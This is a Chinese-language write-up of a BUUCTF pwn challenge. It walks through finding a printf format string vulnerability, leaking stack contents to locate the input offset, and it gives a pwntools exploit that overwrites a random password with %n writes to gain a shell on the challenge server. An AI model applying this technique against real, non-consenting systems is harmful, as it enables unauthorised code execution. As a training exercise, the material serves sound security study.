BUUCTF Pwn [第五空间2019 决赛]PWN5
1.题目下载地址
2.checksec
- 开启了canary
- 没有PIE
2.IDA分析
- 查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system
- 这里面的printf()存在格式化字符串漏洞
1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移量
2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置
3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据不就好了
- 首先我们要定位到我们输入的字符串在栈上的位置。
lwj@ubuntu:~/Desktop/pwn/fifth_space_pwn5$ ./pwn
your name:aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
Hello,aaaa ffc83c68 00000063 00000000 f7f38a9c 00000003 f7f0b410 00000001 00000000 00000001 61616161 38302520 30252078 25207838 20783830 78383025 38302520 30252078 25207838
- 我们输入的参数是在栈上的第10个,后面可以直接利用 %10$ 定位到这个位置。
- 随机生成函数的位置是0x804c044开始的,长度为4字节,依次+1即可。
- 所以可以用%10 , ,%11 ,,%12 , ,%13 ,去定位到这4个地址,再用%n修改这这个地址里的内容,因此构造payload
4.exp
from pwn import*
r=remote('node3.buuoj.cn',26959)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()